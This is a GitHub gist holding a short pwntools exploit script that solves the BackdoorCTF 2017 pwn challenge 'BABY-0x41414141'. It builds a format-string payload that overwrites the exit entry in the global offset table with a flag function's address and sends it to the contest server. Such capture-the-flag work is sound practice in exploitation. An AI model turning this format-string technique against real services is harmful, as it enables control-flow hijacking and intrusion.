Created
September 24, 2017 16:15
-
-
Save 0xPwny/5a245e89a388f70dba78ce43f428bd14 to your computer and use it in GitHub Desktop.
BackdoorCTF 2017 - PWN - BABY-0x41414141
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from libformatstr import * | |
file = ELF("./32_new") | |
flag = 0x0804870b | |
r = remote("163.172.176.29",9035) | |
r.recvuntil("name?") | |
p = FormatStr() | |
#rop = [file.symbols["system"],0x80488e0] | |
p[file.got["exit"]] = flag #rop | |
pld = p.payload(10,0) | |
r.sendline(pld) | |
print r.recvall() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment